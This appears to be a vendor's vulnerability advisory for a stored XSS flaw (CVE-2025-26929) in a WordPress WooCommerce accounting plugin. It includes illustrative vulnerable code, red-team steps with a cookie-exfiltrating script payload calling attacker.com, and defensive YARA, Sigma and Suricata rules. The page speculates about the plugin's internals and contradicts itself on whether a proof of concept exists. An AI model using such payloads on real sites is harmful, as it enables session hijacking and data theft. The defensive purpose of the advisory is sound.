CVE-2025-26929
Executive Summary
CVE-2025-26929 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Accounting for WooCommerce" by Bastien Ho, affecting versions up to and including 1.6.8. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with high privileges (e.g., Shop Manager or Administrator) to inject malicious scripts that are stored on the server and executed in the browsers of other users. Given the CVSS score of 5.9 (Medium), the risk is elevated due to the potential for session hijacking, data theft, or defacement within the WordPress admin dashboard. No public proof-of-concept (PoC) or patch is currently available, making this a zero-day threat for unpatched installations.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin page for updates and consider disabling the plugin until a patch is released. The lack of OSV or GitHub advisory data indicates limited supply chain visibility.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): High (H) – Requires authenticated user with elevated privileges.
- User Interaction (UI): Required (R) – Victim must visit the affected page.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: Medium (5.9). The requirement for high privileges reduces the attack surface, but the stored nature of the XSS can lead to persistent compromise of admin sessions.
Deep Dive & Mechanics
The vulnerability exists in the accounting-for-woocommerce plugin, which likely handles financial data entry and display. The plugin fails to sanitize or escape user input before storing it in the database and later rendering it in the WordPress admin interface. An attacker with Shop Manager or Administrator privileges can inject JavaScript payloads into fields such as order notes, invoice descriptions, or custom accounting entries. When other administrators or users view these entries, the script executes in their browser context, potentially stealing cookies, performing actions on behalf of the victim, or redirecting to malicious sites.
The root cause is the use of functions like echo $input or the_content() without proper escaping (e.g., esc_html(), wp_kses_post()). The plugin likely processes input via $_POST or $_GET and stores it directly into the wp_postmeta or custom tables without validation.
Vulnerable vs. Patched Code
Vulnerable Code (Example):
// In a template file or shortcode handler
$note = $_POST['accounting_note'];
update_post_meta($order_id, '_accounting_note', $note);
// Later, when displaying:
echo get_post_meta($order_id, '_accounting_note', true);
Patched Code (Expected):
// Sanitize on input
$note = sanitize_text_field($_POST['accounting_note']);
update_post_meta($order_id, '_accounting_note', $note);
// Escape on output
echo esc_html(get_post_meta($order_id, '_accounting_note', true));
The patch must ensure all user-supplied data is sanitized with sanitize_text_field() or wp_kses_post() and escaped with esc_html() or esc_attr() before rendering.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- WordPress installation with Accounting for WooCommerce <= 1.6.8.
- Authenticated session with Shop Manager or Administrator role.
Steps:
- Navigate to the plugin's settings or order edit page.
- Locate an input field (e.g., "Accounting Note" or "Invoice Description").
- Inject the following payload:
<script>alert(document.cookie)</script> - Save the entry.
- When another admin views the order or report, the script executes.
Advanced Payload:
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual input patterns in plugin-specific fields (e.g.,
<script>,onerror=,javascript:). - Use Web Application Firewall (WAF) rules to block common XSS payloads.
- Enable WordPress security plugins (e.g., Wordfence) with XSS detection.
Defense:
- Immediately disable the plugin if no patch is available.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Restrict plugin modification capabilities to trusted administrators only.
Indicators of Compromise (IOCs)
- File Hashes (Plugin Files):
accounting-for-woocommerce.php(SHA256: UNKNOWN – check plugin version)
- Database Entries:
wp_postmetarows withmeta_keycontaining_accounting_noteandmeta_valuecontaining<script>tags.
- Network Traffic:
- Outbound requests to unknown domains from admin dashboard.
- Logs:
- WordPress debug log entries showing
wp_ksesor sanitization failures.
- WordPress debug log entries showing
Detection Engineering
YARA Rule
rule CVE_2025_26929_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Accounting for WooCommerce plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-26929"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$plugin_path = "accounting-for-woocommerce"
condition:
$plugin_path and $xss_payload
}
Sigma Rule
title: Stored XSS in Accounting for WooCommerce
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS attempts in the Accounting for WooCommerce plugin
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains: "wp-admin/admin-ajax.php"
http.body|contains: "accounting_note"
http.body|contains|re: "<script[^>]*>"
condition: selection
falsepositives:
- Legitimate use of JavaScript in notes (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-26929 Stored XSS in Accounting for WooCommerce"; flow:to_server; content:"accounting_note"; http_client_body; pcre:"/<script[^>]*>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until an official patch is released.
- Review and clean any existing stored data in
wp_postmetafor malicious scripts. - Rotate all admin credentials if compromise is suspected.
Long-term Fix:
- Apply the vendor patch when available (monitor plugin page).
- Implement input validation and output escaping in custom code.
- Use a Web Application Firewall (WAF) with XSS rules.
Workaround:
- Add the following to
.htaccessto block common XSS patterns:RewriteEngine On RewriteCond %{REQUEST_METHOD} POST RewriteCond %{REQUEST_URI} /wp-admin/admin-ajax\.php RewriteCond %{QUERY_STRING} action=accounting_save_note RewriteRule .* - [F,L]
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.